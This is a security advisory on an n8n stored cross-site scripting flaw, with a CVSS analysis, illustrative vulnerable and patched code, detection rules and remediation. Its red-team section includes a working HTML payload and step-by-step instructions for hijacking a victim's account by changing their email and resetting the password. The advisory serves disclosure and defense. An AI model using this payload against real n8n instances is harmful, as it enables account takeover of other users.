CVE-2025-46343

Executive Summary

CVE-2025-46343 is a stored cross-site scripting (XSS) vulnerability in n8n, a workflow automation platform. An authenticated attacker with member-level permissions can upload a crafted HTML file containing malicious JavaScript via the binary data endpoint. By controlling the MIME type via a GET parameter, the attacker can force the browser to interpret the file as text/html, leading to script execution in the context of another user's session. This can be used to change the victim's email address, enabling account takeover. The vulnerability is patched in version 1.90.0.

Supply Chain & Package Security

n8n is distributed as an npm package (n8n). Users should verify the integrity of the package after upgrading by checking the SHA checksum provided by the official npm registry. The vulnerability does not affect the npm package itself but the application's handling of uploaded binary files.

CVSS Breakdown & Threat Level

• CVSS Score: 5.0 (Medium)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authenticated member-level access
• User Interaction (UI): Required (R) – victim must visit the crafted URL
• Scope (S): Changed (C) – impacts resources beyond the vulnerable component
• Confidentiality (C): Low (L) – limited data exposure
• Integrity (I): Low (L) – limited modification possible
• Availability (A): None (N)

Threat Level: Medium. Exploitation requires authentication and user interaction, but the impact includes account takeover.

Deep Dive & Mechanics

The vulnerability lies in the binary data endpoint (/rest/binarydata/:id). n8n workflows can store binary files (e.g., images, documents) that are served to authenticated users. The endpoint accepts a mimeType GET parameter that overrides the actual MIME type of the stored file. There is no validation or sanitization of this parameter.

An attacker can:

1. Upload a file containing malicious JavaScript (e.g., exploit.html) via a workflow node.
2. Craft a URL to the binary data endpoint with ?mimeType=text/html.
3. Share this URL with another authenticated user.
4. When the victim visits the URL, the browser renders the file as HTML, executing the embedded JavaScript.

The script can perform actions on behalf of the victim, such as changing their email address via the /rest/me endpoint, leading to account takeover.

Vulnerable vs. Patched Code

Vulnerable Code (n8n < 1.90.0):

// In binary data endpoint handler
app.get('/rest/binarydata/:id', async (req, res) => {
  const binaryData = await getBinaryData(req.params.id);
  const mimeType = req.query.mimeType || binaryData.mimeType;
  res.setHeader('Content-Type', mimeType);
  res.send(binaryData.data);
});

Patched Code (n8n >= 1.90.0):

// In binary data endpoint handler
app.get('/rest/binarydata/:id', async (req, res) => {
  const binaryData = await getBinaryData(req.params.id);
  const allowedMimeTypes = ['image/png', 'image/jpeg', 'application/pdf', 'text/plain'];
  const mimeType = req.query.mimeType || binaryData.mimeType;
  if (!allowedMimeTypes.includes(mimeType)) {
    return res.status(400).send('Invalid MIME type');
  }
  res.setHeader('Content-Type', mimeType);
  res.send(binaryData.data);
});

The patch introduces a whitelist of allowed MIME types, preventing the use of text/html or other dangerous types.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an n8n instance (version < 1.90.0) with member-level credentials.
• A workflow that can upload binary data (e.g., using the "HTTP Request" node to fetch a file).

Steps:

1. Create a malicious HTML file (exploit.html):

   <html>
   <body>
   <script>
   fetch('/rest/me', {
     method: 'PATCH',
     headers: { 'Content-Type': 'application/json' },
     body: JSON.stringify({ email: 'attacker@evil.com' })
   }).then(() => { window.location.href = '/login'; });
   </script>
   </body>
   </html>
   

2. Upload this file via a workflow (e.g., using the "Read Binary Files" node and "HTTP Request" node to POST to the binary data endpoint).
3. Note the binary data ID returned (e.g., 12345).
4. Craft the exploit URL: https://target.n8n.io/rest/binarydata/12345?mimeType=text/html
5. Send this URL to a victim (e.g., via email or chat).
6. When the victim visits the URL, their email is changed to attacker@evil.com.
7. Use the "Forgot Password" feature to reset the victim's password and take over the account.

Blue Team

Detection:

• Monitor for unusual MIME type parameters in binary data requests (e.g., mimeType=text/html).
• Alert on changes to user email addresses, especially if followed by password reset requests.
• Review workflow logs for uploads of HTML files to binary data endpoints.

Hunting:

• Search for binary data IDs that are accessed with non-standard MIME types.
• Correlate email change events with binary data access logs.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /rest/binarydata/<id>?mimeType=text/html
• File: Uploaded files with .html extension or containing <script> tags in binary data storage.
• Logs: Workflow execution logs showing upload of HTML files.
• User Activity: Multiple email change requests from the same IP or user agent.

Detection Engineering

YARA Rule

rule CVE_2025_46343_n8n_XSS {
  meta:
    description = "Detects malicious HTML files uploaded to n8n binary data endpoint"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2025-46343"
  strings:
    $script = /<script[^>]*>.*<\/script>/is
    $email_change = /email.*change|PATCH.*\/rest\/me/i
  condition:
    $script and $email_change
}

Sigma Rule

title: CVE-2025-46343 - n8n Stored XSS via Binary Data Endpoint
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects requests to n8n binary data endpoint with mimeType=text/html
author: Valters IT
date: 2025-04-10
logsource:
  category: webserver
  product: nginx
detection:
  selection:
    cs-uri-query|contains: "mimeType=text/html"
  condition: selection
falsepositives:
  - Legitimate use of HTML files in workflows (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-46343 - n8n Stored XSS via Binary Data Endpoint"; flow:to_server; content:"/rest/binarydata/"; http_uri; content:"mimeType=text/html"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade n8n to version 1.90.0 or later.
• If upgrade is not possible, implement a reverse proxy rule to block requests with mimeType=text/html in the query string.

Long-term:

• Enforce strict MIME type validation on all file upload endpoints.
• Implement Content Security Policy (CSP) headers to prevent script execution.
• Conduct regular security audits of workflow automation platforms.

Valters IT